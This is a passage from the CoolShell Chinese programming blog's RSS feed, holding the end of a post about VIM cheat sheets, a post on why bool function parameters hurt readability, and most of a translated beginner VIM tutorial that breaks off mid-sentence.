style=\"background-color: #ff8000;\">  Orange  </span> / <span style=\"background-color: #0000ff;\"><span style=\"color: #ffffff;\">Blue</span></span> = 高级</li>\n<li><span style=\"background-color: #ff0000;\">  Red  </span> = 专家级</li>\n</ul>\n<p>下面的图片点击可以看大图：</p>\n<figure id=\"attachment_5480\" aria-describedby=\"caption-attachment-5480\" style=\"width: 639px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-large wp-image-5480    \" title=\"给程序员的VIM速查卡\" src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-1024x791.png\" alt=\"给程序员的VIM速查卡\" width=\"639\" height=\"494\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-1024x791.png 1024w, https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-300x232.png 300w, https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-768x593.png 768w, https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-350x270.png 350w\" sizes=\"(max-width: 639px) 100vw, 639px\" /></a><figcaption id=\"caption-attachment-5480\" class=\"wp-caption-text\">给程序员的VIM速查卡（点击看大图）</figcaption></figure>\n<p>你还可以下载<a href=\"http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_print.pdf\" target=\"_blank\">PDF版</a>的和<a href=\"http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_print.xlsx\" target=\"_blank\">Excel版</a>的，如果你是色盲的话，还有<a href=\"http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_colorblind.pdf\" target=\"_blank\">蓝色版PDF</a>的。如果你不是很喜欢的话，这里还有几个：</p>\n<p><span id=\"more-5479\"></span></p>\n<ul>\n<li><a href=\"http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html\">http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html</a></li>\n<li><a href=\"http://tnerual.eriogerg.free.fr/vim.html\">http://tnerual.eriogerg.free.fr/vim.html</a></li>\n<li><a href=\"http://www.lagmonster.org/docs/vi.html\">http://www.lagmonster.org/docs/vi.html</a></li>\n<li><a href=\"http://jrmiii.com/2009/03/06/learning-vim-the-pragmatic-way.html\">http://jrmiii.com/2009/03/06/learning-vim-the-pragmatic-way.html</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5426.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/rectangular-blocks-150x150.gif\" alt=\"简明 Vim 练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5426.html\" class=\"wp_rp_title\">简明 Vim 练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5479.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>73</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>千万不要把 bool 设计成函数参数</title>\n\t\t<link>https://coolshell.cn/articles/5444.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5444.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 08 Sep 2011 07:35:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[API]]></category>\n\t\t<category><![CDATA[Bool]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5444</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们有很多Coding Style 或 代码规范。但这一条可能会经常被我们所遗忘，就是我们经常会在函数的参数里使用bool参数，这会大大地降低代码的可读性。不信...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5444.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们有很多Coding Style 或 代码规范。但这一条可能会经常被我们所遗忘，就是我们经常会在函数的参数里使用bool参数，这会大大地降低代码的可读性。不信？我们先来看看下面的代码。</p>\n<p>当你读到下面的代码，你会觉得这个代码是什么意思？</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">widget-&gt;repaint(false);</code></p>\n<p>是不要repaint吗？还是别的什么意思？看了文档后，我们才知道这个参数是immediate， 也就是说，false代表不立即重画，true代码立即重画。</p>\n<p>Windows API中也有这样一个函数：InvalidateRect，当你看到下面的代码，你会觉得是什么意思？</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">InvalidateRect(hwnd, lpRect,  false);</code></p>\n<p>我们先不说InvalidateRect这个函数名取得有多糟糕，我们先说一下那个false参数？invalidate意为“让XXX无效”，false是什么意思？双重否定？是肯定的意思？如果你看到这样的代码，你会相当的费解的。于是，你要去看一下文档，或是InvalidateRect的函数定义，你会看到那个参数是 <strong>BOOL</strong><em> bErase</em>，意思是，是否要重画背景。</p>\n<p>这样的事情有很多，再看下面的代码，想把str中的&#8221;%USER%&#8221;替换成真实的用户名：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">str.replace(&quot;%USER%&quot;, user, false);   // Qt 3</code></p>\n<p>TNND，那个false是什么意思？不替换吗？还是别的什么意思，看了文档才知道，false代码大小写不敏感的替换。</p>\n<p>其实，如果你使用枚举变量/常量，而不是bool变量，你会让你的代码更易读，如：</p>\n<p><span id=\"more-5444\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">widget-&gt;repaint(PAINT::immediate);\nwidget-&gt;repaint(PAINT::deffer);\n\nInvalidateRect(hwnd, lpRect,  !RepantBackground);\n\nstr.replace(&quot;%USER%&quot;, user, Qt::CaseInsensitive); // Qt 4</pre>\n<p>如果对这个事不以为然的话，我们再来看一些别的示例，你不妨猜猜看看下面的代码：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">component.setCentered(true, false);</code></p>\n<p>这什么玩意儿啊？看了文档你才知道，这原来是 setCentered(centered, autoUpdate);</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">new Textbox(300, 100, false, true);</code></p>\n<p>这又是什么啊？看了文档才知道，这是创建一个文本框，第三个参数是是否要滚动条，第四个是是否要自动换行。TNND。</p>\n<p>上面的情况还不算最差，看看下面的双重否定。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">component.setDisabled(false);\nfilter.setCaseInsensitive(false)</pre>\n<p>再来一个，如果你读到下面的代码，相信你会和我一样，要么石化了，要么凌乱了。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">event.initKeyEvent(&quot;keypress&quot;, true, true, null, null,\n                    false, false, false, false, 9, 0); </pre>\n<p>看完这篇文章，我希望你再也不要把bool为作为函数参数了。除非两个原因：</p>\n<ol>\n<li>你100%确认不会带来阅读上的问题，比如Java的 setVisible (bool).</li>\n<li>你100%确认你想去<a title=\"如何写出无法维护的代码\" href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\">写出无法维护很难阅读的代码</a>。</li>\n</ol>\n<p>【更新2011/9/8】当然，别的参数也会有一样的问题，比如：<code>new Textbox(300, 100, false, true);</code>中的300 和 100，不知道是坐标还是长宽，只不过，一般长度或坐标这样的参数都不会被hard code，都会有变量名，而bool这种参数经常性地被传成true 和 false。 bool参数表现得更为明显一些罢了。</p>\n<p><span style=\"color: #cc0000;\">所以，程序中不要出现magic number，true/false 也是一种 magic number。但是，我想告诉大家，从API设计的角度来说，你无法强制调用者用常量来取代true/false，定义成枚举类型是最好的选择</span>。</p>\n<p>最后，如果你想设计一个好的API，强烈推荐你读一下Nokia的Qt的《<a href=\"http://qt-project.org/wiki/API-Design-Principles\" target=\"_blank\">API Design Principles</a>》，本文就是其中的“<a href=\"http://developer.qt.nokia.com/wiki/API_Design_Principles#e7794937cba47d5e9c54d50a6a32328b\" target=\"_blank\">Boolean Trap</a>”。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"多些时间能少写些代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_title\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5444.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>94</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>简明 Vim 练级攻略</title>\n\t\t<link>https://coolshell.cn/articles/5426.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5426.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 07 Sep 2011 00:27:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5426</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>vim的学习曲线相当的大（参看各种文本编辑器的学习曲线），所以，如果你一开始看到的是一大堆VIM的命令分类，你一定会对这个编辑器失去兴趣的。下面的文章翻译自《L...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5426.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5426.html\">简明 Vim 练级攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>vim的学习曲线相当的大（参看<a title=\"主流文本编辑器学习曲线\" href=\"https://coolshell.cn/articles/3125.html\" target=\"_blank\">各种文本编辑器的学习曲线</a>），所以，如果你一开始看到的是一大堆VIM的命令分类，你一定会对这个编辑器失去兴趣的。下面的文章翻译自《<a href=\"http://yannesposito.com/Scratch/en/blog/Learn-Vim-Progressively/\" target=\"_blank\">Learn Vim Progressively</a>》，我觉得这是给新手最好的VIM的升级教程了，没有列举所有的命令，只是列举了那些最有用的命令。非常不错。</p>\n<p style=\"text-align: center;\">——————————正文开始——————————</p>\n<p>你想以最快的速度学习人类史上最好的文本编辑器VIM吗？你先得懂得如何在VIM幸存下来，然后一点一点地学习各种戏法。</p>\n<p><a href=\"http://www.vim.org\">Vim</a> the Six Billion Dollar editor</p>\n<blockquote><p>Better, Stronger, Faster.</p></blockquote>\n<p>学习 <a href=\"http://www.vim.org\">vim</a> 并且其会成为你最后一个使用的文本编辑器。没有比这个更好的文本编辑器了，非常地难学，但是却不可思议地好用。</p>\n<p>我建议下面这四个步骤：</p>\n<ol>\n<li>存活</li>\n<li>感觉良好</li>\n<li>觉得更好，更强，更快</li>\n<li>使用VIM的超能力</li>\n</ol>\n<p>当你走完这篇文章，你会成为一个vim的 superstar。</p>\n<p>在开始学习以前，我需要给你一些警告：</p>\n<ul>\n<li>学习vim在开始时是痛苦的。</li>\n<li>需要时间</li>\n<li>需要不断地练习，就像你学习一个乐器一样。</li>\n<li>不要期望你能在3天内把vim练得比别的编辑器更有效率。</li>\n<li>事实上，你需要2周时间的苦练，而不是3天。</li>\n</ul>\n<div><span id=\"more-5426\"></span></div>\n<h4>第一级 – 存活</h4>\n<ol>\n<li>安装 <a href=\"http://www.vim.org\">vim</a></li>\n<li>启动 vim</li>\n<li><strong>什么也别干！</strong>请先阅读</li>\n</ol>\n<p>当你安装好一个编辑器后，你一定会想在其中输入点什么东西，然后看看这个编辑器是什么样子。但vim不是这样的，请按照下面的命令操作：</p>\n<ul>\n<li>启 动Vim后，vim在 <em>Normal</em> 模式下。</li>\n<li>让我们进入 <em>Insert</em> 模式，请按下键 i 。(陈皓注：你会看到vim左下角有一个&#8211;insert&#8211;字样，表示，你可以以插入的方式输入了）</li>\n<li>此时，你可以输入文本了，就像你用“记事本”一样。</li>\n<li>如果你想返回 <em>Normal</em> 模式，请按 <code>ESC</code> 键。</li>\n</ul>\n<p>现在，你知道如何在 <em>Insert</em> 和 <em>Normal</em> 模式下切换了。下面是一些命令，可以让你在 <em>Normal</em> 模式下幸存下来：</p>\n<blockquote>\n<ul>\n<li><code>i</code> → <em>Insert</em> 模式，按 <code>ESC</code> 回到 <em>Normal</em> 模式.</li>\n<li><code>x</code> → 删当前光标所在的一个字符。</li>\n<li><code>:wq</code> → 存盘 + 退出 (<code>:w</code> 存盘, <code>:q</code> 退出)   （陈皓注：:w 后可以跟文件名）</li>\n<li><code>dd</code> → 删除当前行，并把删除的行存到剪贴板里</li>\n<li><code>p</code> → 粘贴剪贴板</li>\n</ul>\n<p><strong>推荐</strong>:</p>\n<ul>\n<li><code>hjkl</code> (强例推荐使用其移动光标，但不必需) →你也可以使用光标键 (←↓↑→). 注: <code>j</code> 就像下箭头。</li>\n<li><code>:help &lt;command&gt;</code> → 显示相关命令的帮助。你也可以就输入 <code>:help</code> 而不跟命令。（陈皓注：退出帮助需要输入:q）</li>\n</ul>\n</blockquote>\n<p>你能在vim幸存下来只需要上述的那5个命令，你就可以编辑文本了，你一定要把这些命令练成一种下意识的状态。于是你就可以开始进阶到第二级了。</p>\n<p>当是，在你进入第二级时，需要再说一下 <em>Normal </em>模式。在一般的编辑器下，当你需要copy一段文字的时候，你需要使用 <code>Ctrl</code> 键，比如：<code>Ctrl-C</code>。也就是说，Ctrl键就好像功能键一样，当你按下了功能键Ctrl后，C就不在是C了，而且就是一个命令或是一个快键键了，<strong>在VIM的Normal模式下，所有的键就是功能键了</strong>。这个你需要知道。</p>\n<p>标记:</p>\n<ul>\n<li>下面的文字中，如果是 <code>Ctrl-λ</code>我会写成 <code>&lt;C-λ&gt;</code>.</li>\n<li>以 <code>:</code> 开始的命令你需要输入 <code>&lt;enter&gt;</code>回车，例如 &#8212; 如果我写成 <code>:q</code> 也就是说你要输入 <code>:q&lt;enter&gt;</code>.</li>\n</ul>\n<h4 id=\"nd-level----feel-comfortable\">第二级 – 感觉良好</h4>\n<p>上面的那些命令只能让你存活下来，现在是时候学习一些更多的命令了，下面是我的建议：（陈皓注：所有的命令都需要在Normal模式下使用，如果你不知道现在在什么样的模式，你就狂按几次ESC键）</p>\n<ol>\n<li><strong>各种插入模式</strong><br />\n<blockquote>\n<ul>\n<li><code>a</code> → 在光标后插入</li>\n<li><code>o</code> → 在当前行后插入一个新行</li>\n<li><code>O</code> → 在当前行前插入一个新行</li>\n<li><code>cw</code> → 替换从光标所在位置后到一个单词结尾的字符</li>\n</ul>\n</blockquote>\n</li>\n<li><strong>简单的移动光标</strong><br />\n<blockquote>\n<ul>\n<li><code>0</code> → 数字零，到行头</li>\n<li><code>^</code> → 到本行第一个不是blank字符的位置（所谓blank字符就是空格，tab，换行，回车等）</li>\n<li><code>$</code> → 到本行行尾</li>\n<li><code>g_</code> → 到本行最后一个不是blank字符的位置。</li>\n<li><code>/pattern</code> → 搜索 <code>pattern</code> 的字符串（陈皓注：如果搜索出多个匹配，可按n键到下一个）</li>\n</ul>\n</blockquote>\n</li>\n<li><strong>拷贝/粘贴</strong> （陈皓注：p/P都可以，p是表示在当前位置之后，P表示在当前位置之前）<br />\n<blockquote>\n<ul>\n<li><code>P</code> → 粘贴</li>\n<li><code>yy</code> → 拷贝当前行当行于 <code>ddP</code></li>\n</ul>\n</blockquote>\n</li>\n<li><strong>Undo/Redo</strong><br />\n<blockquote>\n<ul>\n<li><code>u</code> → undo</li>\n<li><code>&lt;C-r&gt;</code> → redo</li>\n</ul>\n</blockquote>\n</li>\n<li><strong>打开/保存/退出/改变文件</strong>(Buffer)<br />\n<blockquote>\n<ul>\n<li><code>:e &lt;path/to/file&gt;</code> → 打开一个文件</li>\n<li><code>:w</code> → 存盘</li>\n<li><code>:saveas &lt;path/to/file&gt;</code> → 另存为 <code>&lt;path/to/file&gt;</code></li>\n<li><code>:x</code>， <code>ZZ</code> 或 <code>:wq</code> → 保存并退出 (<code>:x</code> 表示仅在需要时保存，ZZ不需要输入冒号并回车)</li>\n<li><code>:q!</code> → 退出不保存 <code>:qa!</code> 强行退出所有的正在编辑的文件，就算别的文件有更改。</li>\n<li><code>:bn</code> 和 <code>:bp</code> → 你可以同时打开很多文件，使用这两个命令来切换下一个或上一个文件。（陈皓注：我喜欢使用:n到下一个文件）</li>\n</ul>\n</blockquote>\n</li>\n</ol>\n<p>花点时间熟悉一下上面的命令，一旦你掌握他们了，你就几乎可以干其它编辑器都能干的事了。但是到现在为止，你还是觉得使用vim还是有点笨拙，不过没关系，你可以进阶到第三级了。</p>\n<h4 id=\"rd-level----better-stronger-faster\">第三级 – 更好，更强，更快</h4>\n<p>先恭喜你！你干的很不错。我们可以开始一些更为有趣的事了。在第三级，我们只谈那些和vi可以兼容的命令。</p>\n<h5 id=\"better\">更好</h5>\n<p>下面，让我们看一下vim是怎么重复自己的：</p>\n<ol>\n<li><code>.</code> → (小数点) 可以重复上一次的命令</li>\n<li>N&lt;command&gt; → 重复某个命令N次</li>\n</ol>\n<p>下面是一个示例，找开一个文件你可以试试下面的命令：</p>\n<blockquote>\n<ul>\n<li><code>2dd</code> → 删除2行</li>\n<li><code>3p</code> → 粘贴文本3次</li>\n<li><code>100idesu [ESC]</code> → 会写下 “desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu “</li>\n<li><code>.</code> → 重复上一个命令—— 100 “desu “.</li>\n<li><code>3.</code> → 重复 3 次 “desu” (注意：不是 300，你看，VIM多聪明啊).</li>\n</ul>\n</blockquote>\n<h5 id=\"stronger\">更强</h5>\n<p>你要让你的光标移动更有效率，你一定要了解下面的这些命令，<strong>千万别跳过</strong>。</p>\n<ol>\n<li>N<code>G</code> → 到第 N 行 （陈皓注：注意命令中的G是大写的，另我一般使用 : N 到第N行，如 :137 到第137行）</li>\n<li><code>gg</code> → 到第一行。（陈皓注：相当于1G，或 :1）</li>\n<li><code>G</code> → 到最后一行。</li>\n<li>按单词移动：<br />\n<blockquote>\n<ol>\n<li><code>w</code> → 到下一个单词的开头。</li>\n<li><code>e</code> → 到下一个单词的结尾。</li>\n</ol>\n<p>&gt; 如果你认为单词是由默认方式，那么就用小写的e和w。默认上来说，一个单词由字母，数字和下划线组成（陈皓注：程序变量）</p>\n<p>&gt; 如果你认为单词是由blank字符分隔符，那么你需要使用大写的E和W。（陈皓注：程序语句）</p>\n<p><img decoding=\"async\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/word_moves.jpg\" alt=\"Word moves example\" /></p></blockquote>\n</li>\n</ol>\n<p>下面，让我来说说最强的光标移动：</p>\n<blockquote>\n<ul>\n<li><code>%</code> : 匹配括号移动，包括 <code>(</code>, <code>{</code>, <code>[</code>. （陈皓注：你需要把光标先移到括号上）</li>\n<li><code>*</code> 和 <code>#</code>:  匹配光标当前所在的单词，移动光标到下一个（或上一个）匹配单词（*是下一个，#是上一个）</li>\n</ul>\n</blockquote>\n<p>相信我，上面这三个命令对程序员来说是相当强大的。</p>\n<h5 id=\"faster\">更快</h5>\n<p>你一定要记住光标的移动，因为很多命令都可以和这些移动光标的命令连动。很多命令都可以如下来干：</p>\n<p><code>&lt;start position&gt;&lt;command&gt;&lt;end position&gt;</code></p>\n<p>例如 <code>0y$</code> 命令意味着：</p>\n<ul>\n<li><code>0</code> → 先到行头</li>\n<li><code>y</code> → 从这里开始拷贝</li>\n<li><code>$</code> → 拷贝到本行最后一个字符</li>\n</ul>\n<p>你可可以输入 <code>ye</code>，从当前位置拷贝到本单词的最后一个字符。</p>\n<p>你也可以输入 <code>y2/foo</code> 来拷贝2个 “foo” 之间的字符串。</p>\n<p>还有很多时间并不一定你就一定要按y才会拷贝，下面的命令也会被拷贝：</p>\n<ul>\n<li><code>d</code> (删除 )</li>\n<li><code>v</code> (可视化的选择)</li>\n<li><code>gU</code> (变大写)</li>\n<li><code>gu</code> (变小写)</li>\n<li>等等</li>\n</ul>\n<div>（陈皓注：可视化选择是一个很有意思的命令，你可以先按v，然后移动光标，你就会看到文本被选择，然后，你可能d，也可y，也可以变大写等）</div>\n<h4 id=\"th-level----vim-superpowers\">第四级 – Vim 超能力</h4>\n<p>你只需要掌握前面的命令，你就可以很舒服的使用VIM了。但是，现在，我们向你介绍的是VIM杀手级的功能。下面这些功能是我只用vim的原因。</p>\n<h5 id=\"move-on-current-line-0---f-f-t-t--\">在当前行上移动光标: <code>0</code> <code>^</code> <code>$</code> <code>f</code> <code>F</code> <code>t</code> <code>T</code> <code>,</code> <code>;</code></h5>\n<blockquote>\n<ul>\n<li><code>0</code> → 到行头</li>\n<li><code>^</code> → 到本行的第一个非blank字符</li>\n<li><code>$</code> → 到行尾</li>\n<li><code>g_</code> → 到本行最后一个不是blank字符的位置。</li>\n<li><code>fa</code> → 到下一个为a的字符处，你也可以fs到下一个为s的字符。</li>\n<li><code>t,</code> → 到逗号前的第一个字符。逗号可以变成其它字符。</li>\n<li><code>3fa</code> → 在当前行查找第三个出现的a。</li>\n<li><code>F</code> 和 <code>T</code> → 和 <code>f</code> 和 <code>t</code> 一样，只不过是相反方向。<br />\n<img decoding=\"async\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/line_moves.jpg\" alt=\"Line moves\" /></li>\n</ul>\n</blockquote>\n<p>还有一个很有用的命令是 <code>dt\"</code> → 删除所有的内容，直到遇到双引号—— <code>\"。</code></p>\n<h5 id=\"zone-selection-actionaobject-or-actioniobject\">区域选择 <code>&lt;action&gt;a&lt;object&gt;</code> 或 <code>&lt;action&gt;i&lt;object&gt;</code></h5>\n<p>在visual 模式下，这些命令很强大，其命令格式为</p>\n<p><code>&lt;action&gt;a&lt;object&gt;</code> 和 <code>&lt;action&gt;i&lt;object&gt;</code></p>\n<ul>\n<li>action可以是任何的命令，如 <code>d</code> (删除), <code>y</code> (拷贝), <code>v</code> (可以视模式选择)。</li>\n<li>object 可能是： <code>w</code> 一个单词， <code>W</code> 一个以空格为分隔的单词， <code>s</code> 一个句字， <code>p</code> 一个段落。也可以是一个特别的字符：<code>\"、</code> <code>'、</code> <code>)、</code> <code>}、</code> <code>]。</code></li>\n</ul>\n<p>假设你有一个字符串 <code>(map (+) (\"foo\"))</code>.而光标键在第一个 <code>o </code>的位置。</p>\n<blockquote>\n<ul>\n<li><code>vi\"</code> → 会选择 